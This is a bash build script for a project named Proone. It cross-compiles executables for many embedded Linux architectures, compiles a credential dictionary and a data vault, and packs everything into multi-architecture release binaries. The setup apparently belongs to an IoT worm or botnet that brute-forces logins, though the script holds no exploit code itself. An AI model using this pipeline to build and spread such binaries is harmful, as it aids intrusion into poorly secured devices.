aboutsummaryrefslogtreecommitdiff
path: root/scripts/build-all.sh
blob: 61e749fd00d6cb8fb81febb612afa997cc656fc4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/bin/bash
## \file
# \brief Build all target arches specified and native tools necessary for
#	fabrication of executables. You'll use this script a lot!
# \note xcomp is required for this script to function.
set -e # die on error

##
# \note \c ARCH_ARR, \c TOOLCHAIN_ARR and \c HOST_ARR form tuples of target
# arches. \c ARCH_ARR lists the name of the arches to be used for the output
# files(suffix). \c TOOLCHAIN_ARR lists the \b xcomp targets for each arch.
# \c HOST_ARR is the list of the toolchain prefixes.
ARCH_ARR=(
#	"aarch64"
	"armv4t"
#	"armv7"
	"i686"
#	"x86_64"
	"m68k"
	"mips"
	"mpsl"
	"ppc"
	"sh4"
)
TOOLCHAIN_ARR=(
#	"aarch64"
	"armv4t"
#	"armv7"
	"i686"
#	"x86_64"
	"m68k"
	"mips"
	"mpsl"
	"ppc"
	"sh4"
)
HOST_ARR=(
#	"aarch64-linux"
	"arm-linux"
#	"arm-linux"
	"i686-linux"
#	"x86_64-linux"
	"m68k-linux"
	"mips-linux"
	"mipsel-linux"
	"powerpc-linux"
	"sh4-linux"
)
# Length check. All three arrays must have the same number of elements.
ARR_SIZE="${#ARCH_ARR[@]}"
if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] ||
	[ $ARR_SIZE -ne "${#HOST_ARR[@]}" ];
then
	echo "Config error: arrays" >&2
	exit 2
fi

# The root prefix. Note that the script is run from the project root directory.
PROONE_PREFIX="builds"
# The prefix to debug symbol files
PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug"
# The prefix to Proone executables
PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin"
# The prefix to native tools
PROONE_TOOLS_DIR="$PROONE_PREFIX/tools"
# The prefix to miscellaneous executables for target
PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc"
# The name of the directory for release build Proone executables
PROONE_REL_DIR="$PROONE_PREFIX/proone"
# The prefix to debug symbol files
export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/"
# The prefix to all stripped executables
export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/stripped"
# The prefix to the original Proone executable output by the compiler
export PROONE_ENTIRE_PREFIX="$PROONE_EXEC_DIR/entire"
# The prefix to the disassembler output
export PROONE_ASM_PREFIX="$PROONE_EXEC_DIR/asm"
# The prefix to the readelf output
export PROONE_READELF_PREFIX="$PROONE_EXEC_DIR/readelf"
# The prefix to the miscellaneous executables
export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
# The prefix to the names of the release build Proon executables
PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
# The path to the cred dict binary file
PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin"
# The path to the dvault binary file
PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"
# The array of the native tools
PROONE_TOOLS="
	proone-pack
	proone-list-arch
	proone-mkcdict
	proone-mkdvault
	proone-ipaddr-arr
"

################################################################################

# Drop the root directory and set up the skeleton
rm -rf "$PROONE_PREFIX"
mkdir\
	"$PROONE_PREFIX"\
	"$PROONE_DEBUG_SYM_DIR"\
	"$PROONE_EXEC_DIR"\
	"$PROONE_TOOLS_DIR"\
	"$PROONE_MISC_BIN_DIR"\
	"$PROONE_REL_DIR"
# Ignore the clean up error because the project may not have been configured
set +e
make distclean
set -e

# Build native tools
./configure $PROONE_AM_CONF
make -j$(nproc) -C src $PROONE_TOOLS
for t in $PROONE_TOOLS; do
	cp -a "src/$t" "$PROONE_TOOLS_DIR"
done
# Copy the test suites as well
cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean

# Generate dvault and cred dict binary
"$PROONE_TOOLS_DIR/proone-mkcdict"\
	"./src/proone_conf/cred_dict.txt"\
	"$PROONE_CDICT"
"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")

# Build all targets
for (( i = 0; i < ARR_SIZE; i += 1 )); do
	PROONE_BIN_OS="linux"\
	PROONE_HOST="${HOST_ARR[$i]}"\
	PROONE_BIN_ARCH="${ARCH_ARR[$i]}"\
	xcomp linux-app\
		"${TOOLCHAIN_ARR[$i]}"\
		"scripts/build-arch.sh"
done

# Do pack
"$PROONE_TOOLS_DIR/proone-pack"\
	"$PROONE_REL_PREFIX"\
	"$PROONE_DVAULT"\
	"$PROONE_EXEC_PREFIX".*